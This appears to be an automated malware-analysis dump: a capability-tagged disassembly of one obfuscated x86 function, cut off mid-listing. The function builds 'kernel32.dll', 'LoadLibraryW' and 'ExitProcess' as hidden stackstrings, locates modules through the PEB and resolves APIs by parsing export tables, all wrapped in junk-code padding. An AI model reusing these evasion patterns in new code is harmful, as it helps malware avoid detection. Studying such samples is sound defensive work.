Function at 0x512907
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edi
push ecx
add ecx, 0x13fc2
pop ecx
push ecx
jmp 0x510fef
jmp 0x510ff6
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x511014
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edx
add edx, 0x177e9
add edx, 0x302d
xor edx, 0x13b3d
add edx, 0xe9a5
pop edx
push eax
push edx
add esp, 4
or eax, 0x1211d
and eax, 0x69fa
and eax, 0x3e39
pop eax
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x51108e
push ebx
push esi
add esp, 4
sub ebx, 0x16e63
xor ebx, 0x177bc
pop ebx
push edx
push eax
add esp, 4
jmp 0x511074
pop edx
push edi
sub edi, 0x72f8
xor edi, 0x11482
add edi, 0x15960
pop edi
jmp 0x5112bc
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push eax
push eax
add esp, 4
xor eax, 0x99c3
xor eax, 0x11c1b
call 0x5110c4
add byte [esi], dh
dec eax
aas
cmp al, 0x46
dec ebp
xor eax, 0xc4833845
add al, 0x58
push edi
and edi, 0x165de
or edi, 0x82e6
pop edi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x51113d
push ecx
push ebx
add esp, 4
sub ecx, 0x115c5
add ecx, 0x17efe
call 0x51111a
add byte [edx], bh
inc eax
dec eax
dec eax
dec eax
xor eax, 0x83393547
les eax, [ecx + ebx*2]
push edx
and edx, 0x41c9
xor edx, 0x9e32
pop edx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x51126e
cmp dword [ebp - 0xc10], 0
jle 0x511262
push eax
push ecx
add esp, 4
and eax, 0x916b
pop eax
push edx
call 0x511164
add byte [edi + 0x42], cl
xor edi, dword [ebx]
inc ecx
dec ecx
add esp, 4
sub edx, 0x1d06
xor edx, 0x8b79
pop edx
push ecx
and ecx, 0x1376f
pop ecx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x5111fe
push edx
xor edx, 0x1055f
call 0x5111a6
add byte [ecx + edi], dh
aas
inc eax
xor ecx, dword [ecx + 0x42]
add esp, 4
pop edx
push ebx
or ebx, 0x1575d
xor ebx, 0xf060
pop ebx
push ecx
push edx
add esp, 4
or ecx, 0xf6f9
pop ecx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x5111e6
mov dword [ebp - 0x14cc], 1
jmp 0x5111f0
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x511262
push ebx
push ecx
add esp, 4
or ebx, 0x1444b
add ebx, 0x29ae
pop ebx
push ebx
push ebx
add esp, 4
and ebx, 0x13429
pop ebx
push edx
push esi
add esp, 4
and edx, 0x7e73
pop edx
push esi
and esi, 0x49da
pop esi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x51113d
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x5112b7
push edx
or edx, 0x145c2
call 0x51128c
add byte [esi + esi], dh
xor eax, 0x48393433
xor al, 0x83
les eax, [ecx + eax*4]
loop 0x5112f2
sbb dword [ecx], eax
add byte [edx + 0x57], bl
call 0x5112a5
add byte [eax + 0x44], dl
xor ecx, dword [ebx + edi + 0x4b]
cmp dl, byte [eax - 0x7d]
les eax, [edi + ebx*2]
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x5112f8
jmp 0x511005
push ecx
push edi
add esp, 4
and ecx, 0xab34
pop ecx
push edi
xor edi, 0x18567
jmp 0x5112d6
pop edi
push ebx
or ebx, 0xfa5a
or ebx, 0xf83d
jmp 0x5112ed
pop ebx
mov dword [ebp - 0xa5c], 0
invalid
push ebx
push edi
add esp, 4
xor ebx, 0x81f4
and ebx, 0x71e7
or ebx, 0xb34b
add ebx, 0x795f
pop ebx
push esi
sub esi, 0x177d
sub esi, 0x2128
add esi, 0x15e54
pop esi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push eax
or eax, 0xd59a
pop eax
push esi
push eax
add esp, 4
jmp 0x511390
add esi, 0x23a5
xor esi, 0x15534
call 0x5113ac
add byte [0x3a37384b], dh
inc eax
dec ecx
inc edi
aaa
dec ebp
add esp, 4
pop esi
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push eax
jmp 0x511451
jmp 0x51145a
pop eax
push eax
push eax
add esp, 4
add eax, 0x112a5
or eax, 0x28fb
jmp 0x511474
or eax, 0x16381
pop eax
push edi
jmp 0x511482
call fcn.0051148f
add byte [eax + 0x4c], cl
xor al, 0x32
cmp cl, byte [esi + eax*2 - 0x7d]
add esp, 4
and edi, 0xa5a
jmp 0x5114a0
inc ebx
inc esi
inc edx
push eax
aaa
inc edi
pop edi
push ebx
push esi
add esp, 4
or ebx, 0xd1a5
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edi
xor edi, 0xce81
or edi, 0xd9a4
sub edi, 0xbbaf
xor edi, 0x3b09
pop edi
push edi
push ebx
add esp, 4
sub edi, 0x9996
or edi, 0x2784
and edi, 0x122a9
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x51151f
mov dword [ebp - 0x2e0], 0
jmp 0x5117db
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
push ebx
add esp, 4
and edi, 0x762a
pop edi
push ebx
push esi
add esp, 4
sub ebx, 0x185d7
jmp 0x511550
pop ebx
push ebx
push eax
add esp, 4
or ebx, 0x11636
add ebx, 0x184e9
pop ebx
cmp dword [ebp - 0xc20], 0
jne 0x51157b
mov dword [ebp - 0x2e0], 0
jmp 0x5117db
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
push ecx
add esp, 4
call 0x51159b
add byte [eax], bh
dec ebx
inc esi
cmp byte [eax + ecx*2 + 0x47], cl
cmp cl, byte [edi - 0x7d]
les eax, [ecx + eax*4]
out dx, eax
inc edi
mov esp, 0xef810000
push edx
add dword [eax], 0x81575f00
mul dword [ebx - 0x7effffbe]
idiv dword [esp]
add byte [eax], al
pop edi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
add ebx, 0x2b57
call 0x5115f9
add byte [ebp + 0x40], cl
aas
inc esi
dec ebx
xor eax, dword [ebx + 0x535b04c4]
push ecx
add esp, 4
sub ebx, 0xb49e
or ebx, 0xef18
jmp 0x511617
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ebx
add ebx, 0xb506
pop ebx
push esi
push edx
add esp, 4
xor esi, 0x6110
xor esi, 0x1766c
call 0x511698
add byte [eax + 0x35], cl
inc eax
aas
dec ecx
cmp eax, dword [ebx + 0x535e04c4]
add ebx, 0x8073
pop ebx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x5116c7
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x51172a
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x5115e6
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x5115e6
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x511714
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x51171e
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x511773
push edi
push edx
add esp, 4
sub edi, 0x16129
add edi, 0xe55b
sub edi, 0x65
jmp 0x511750
pop edi
push edi
sub edi, 0xcc28
xor edi, 0x10081
and edi, 0x3266
pop edi
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x5117db
push edi
push edi
add esp, 4
or edi, 0x27dc
and edi, 0x10bf4
sub edi, 0xf141
pop edi
push esi
xor esi, 0x134b5
xor esi, 0x2ff
or esi, 0x162c0
xor esi, 0x16a3c
cmp al, 0x6a
add dword [eax], eax
pop esi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x5117d1
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x511587
mov dword [ebp - 0x2e0], 0
push edi
jmp 0x5117e1
jmp 0x5117e8
pop edi
push edx
push edi
add esp, 4
call 0x5117fd
add byte [esi + 0x3d], al
dec ebx
inc esp
xor edi, dword [0xc483353b]
add al, 0x81
loop 0x5117a0
rol byte [eax], cl
add byte [ecx + 0x91edf2], al
add byte [edx - 0x7d], bl
mov ebp, 0xfffffd20
add byte [edi], cl
test dword [ecx + ecx], ecx
add byte [eax], al
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
call 0x5118c2
add byte [ebp + 0x50], cl
dec ecx
cmp al, 0x39
aas
cmp esi, dword [0x5904c483]
push ecx
or ecx, 0x17845
call 0x5118d9
add byte [ebx + 0x45], al
xor al, 0x48
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0x59
push edx
add edx, 0x3af1
pop edx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push eax
or eax, 0xb1c1
or eax, 0x1464f
sub eax, 0xd439
pop eax
push edi
push edi
add esp, 4
add edi, 0xd7a1
xor edi, 0x12cd2
pop edi
push edi
push edx
add esp, 4
sub edi, 0x537e
pop edi
cmp dword [ebp - 0x14dc], 0
jne 0x5119b1
mov dword [ebp - 0x6ec], 0
jmp 0x511c6d
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push edi
push esi
add esp, 4
jmp 0x5119ce
call 0x5119dc
add byte [esi + 0x4c], al
cmp al, 0x4b
cmp cl, byte [esi + 0x3d]
cmp byte [ebx + 0x7e804c4], al
add byte [eax], al
add byte [eax], al
xor al, 0x42
dec eax
cmp edi, dword [esi]
xor al, byte [ebx - 0x307efb3c]
push 0x69
add dword [eax], eax
pop edi
cmp dword [ebp - 0xc2c], 0
jne 0x511a0d
mov dword [ebp - 0x6ec], 0
jmp 0x511c6d
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push ebx
push edi
add esp, 4
add ebx, 0x52cd
call 0x511a33
add byte [ebx], dh
aaa
xor dh, byte [esi]
inc eax
inc esp
cmp byte [ebp + 0x42], al
add esp, 4
pop ebx
push esi
add esi, 0x3fa9
add esi, 0x7f0e
sub esi, 0x44f4
pop esi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edi
push eax
add esp, 4
and edi, 0xb7a9
sub edi, 0x126fe
pop edi
push ebx
push edi
add esp, 4
sub ebx, 0xcbfb
pop ebx
push edx
and edx, 0xc32f
and edx, 0xf332
xor edx, 0x16219
pop edx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edi
push edx
add esp, 4
jmp 0x511b0e
pop edi
push ecx
push ebx
add esp, 4
and ecx, 0x87cd
pop ecx
push ebx
push edi
add esp, 4
jmp 0x511b27
add ebx, 0x95a5
pop ebx
push ecx
xor ecx, 0xaf15
pop ecx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x511b59
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x511bbc
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x511a78
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x511a78
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x511ba6
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x511bb0
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x511c05
push edx
jmp 0x511bcd
pop edx
push edx
push esi
add esp, 4
add edx, 0xd573
call 0x511be5
add byte [ebp + 0x3d], al
aaa
dec edi
cmp al, 0x44
add esp, 4
jmp 0x511bf0
add edx, 0x13c0e
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x511c6d
push edx
push edx
add esp, 4
xor edx, 0x1221c
add edx, 0x170e3
pop edx
push ebx
push edi
add esp, 4
sub ebx, 0x90f2
pop ebx
push eax
or eax, 0x8a04
xor eax, 0x9747
sub eax, 0x16b6f
pop eax
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x511c63
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x511a19
mov dword [ebp - 0x6ec], 0
push eax
push edi
add esp, 4
sub eax, 0xe3c6
xor eax, 0xc925
xor eax, 0x41a4
pop eax
push esi
add esi, 0x1661c
add esi, 0xfdfc
sub esi, 0xca11
xor esi, 0x10f72
pop esi
cmp dword [ebp - 0x6ec], 0
jne 0x511ce9
push eax
push eax
add esp, 4
xor eax, 0x7b08
add eax, 0x4bff
and eax, 0x13503
pop eax
push eax
and eax, 0x12c24
add eax, 0x1622d
add eax, 0x4f59
sub eax, 0xf93a
pop eax
mov dword [ebp - 0x738], 0
jmp 0x512810
push edx
add edx, 0x1e6c
xor edx, 0x7168
xor edx, 0xe3bf
pop edx
push edi
add edi, 0xf3ac
pop edi
push ecx
xor ecx, 0x9e88
and ecx, 0x6a8
pop ecx
push ecx
or ecx, 0x2884
pop ecx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x511d5a
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x51204b
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x511d82
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x51204b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x511db4
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x51204b
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x511dd9
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x51204b
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x511e33
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x51203f
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x511ea3
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x511f55
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x511f55
push edi
or edi, 0x124a5
pop edi
push ebx
push edi
add esp, 4
call 0x511eec
add byte [esi + esi + 0x39], al
xor eax, 0x46404f43
cmp dword [ebx - 0x3c7efb3c], eax
mov dl, al
add byte [eax], al
xor ebx, 0x15018
sub ebx, 0x12395
pop ebx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x511f47
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x511f4e
jmp 0x511e94
jmp 0x511f55
push eax
xor eax, 0xd8e5
sub eax, 0x10a01
and eax, 0x12a5e
sub eax, 0x15a09
pop eax
push ecx
push esi
add esp, 4
and ecx, 0x8b7e
add ecx, 0xdcfd
jmp 0x511f86
pop ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x511fb4
mov dword [ebp - 0xc30], 0
jmp 0x512023
push edx
xor edx, 0x7585
add edx, 0x179e9
or edx, 0x4b9
and edx, 0xb616
pop edx
push edx
push ecx
add esp, 4
and edx, 0x1399d
add byte [ecx + 0xc7c2ca], al
add byte [ecx + 0x93f8c2], al
add byte [edx - 0x75], bl
test dword [eax], ecx
stc
invalid
inc dword [ebx]
test dword [eax + 0xffffffe], eax
mov esi, 0x20c98308
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x512019
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x512023
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x51203a
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x51204b
jmp 0x511e24
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x512126
push ebx
sub ebx, 0x4cb9
sub ebx, 0x183db
pop ebx
push edi
push eax
add esp, 4
sub edi, 0x2533
sub edi, 0x14a73
or edi, 0x3db8
pop edi
push edi
push edi
add esp, 4
add edi, 0x1782f
pop edi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ebx
xor ebx, 0x12623
add ebx, 0x3143
or ebx, 0x3c70
or ebx, 0x112e1
pop ebx
push edx
jmp 0x5120b6
call 0x5120c4
add byte [ecx + 0x4a], cl
inc ebp
dec eax
xor dh, byte [esi]
dec ebx
inc edx
add esp, 4
pop edx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x512126
push esi
push esi
add esp, 4
or esi, 0xa6a
jmp 0x5120f8
call fcn.00512104
add byte [ebx], dh
inc ebx
push eax
push eax
dec edx
cmp eax, dword [ebx + 0x7e804c4]
add esp, 4
call 0x512113
add byte [edi], dh
cmp eax, 0x43334843
add esp, 4
pop esi
mov dword [ebp - 0x738], 0
jmp 0x512810
push ecx
push ecx
add esp, 4
or ecx, 0x122a5
pop ecx
push esi
push eax
add esp, 4
call 0x512146
add byte [ecx + 0x4b], cl
xor al, 0x50
inc ecx
aas
inc edx
cmp byte [ebx + eax*4 - 0x3c], cl
add al, 0x5e
push esi
add esi, 0x14ba7
xor esi, 0xaab0
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
push edi
add esp, 4
or edx, 0xbac2
add edx, 0xe247
call 0x51219f
add byte [edi], bh
dec edi
push eax
cmp byte [esi + 0x3d], cl
xor esi, dword ds:[edx]
add esp, 4
pop edx
push esi
xor esi, 0xa444
sub esi, 0x73c2
pop esi
cmp dword [ebp - 0x14f4], 0
jne 0x5121c9
mov dword [ebp - 0x2e0], 0
jmp 0x512470
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
call 0x5121e8
add byte [eax + 0x4c], al
cmp byte [0xc483474d], dh
add al, 0xeb
pop es
inc ebx
xor eax, 0x3d463934
inc esi
sub ebx, 0xef61
pop ebx
push eax
call 0x512209
add byte [ebp + 0x3e], al
inc ebx
cmp cl, byte [eax + edi + 0x48]
add esp, 4
pop eax
cmp dword [ebp - 0xc3c], 0
jne 0x512225
mov dword [ebp - 0x2e0], 0
jmp 0x512470
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ecx
xor ecx, 0x1d85
pop ecx
push esi
push edi
add esp, 4
or esi, 0xb477
sub esi, 0xc6dd
pop esi
push edx
push ebx
add esp, 4
xor edx, 0xf897
xor edx, 0xda9e
or edx, 0x15f12
pop edx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push eax
push esi
add esp, 4
sub eax, 0x6fa7
pop eax
push eax
add eax, 0xf1b
call 0x5122af
add byte [0x4445423f], dh
aaa
inc ecx
xor al, 0x43
add esp, 4
and eax, 0x2261
xor eax, 0x5f17
pop eax
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push edx
or edx, 0x3c6c
add edx, 0x14109
jmp 0x51232a
or edx, 0x2d28
pop edx
push edi
push edx
add esp, 4
call 0x512344
add byte [0x48504c35], dh
dec edi
xor eax, 0x4c4833d
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x512365
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x5123bf
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x51228d
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x51228d
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x5123a9
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x5123b3
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x512408
push ecx
jmp 0x5123cf
sub ecx, 0x1e0d
jmp 0x5123dc
pop ecx
push eax
xor eax, 0x14e08
jmp 0x5123ed
sub eax, 0xd49e
add eax, 0x105cc
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x512470
push edi
push edx
add esp, 4
and edi, 0x1191d
sub edi, 0x14a7
xor edi, 0x4de4
pop edi
push edi
push edi
add esp, 4
xor edi, 0x63d9
pop edi
push ecx
add ecx, 0x178c4
and ecx, 0x1269b
pop ecx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x512466
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
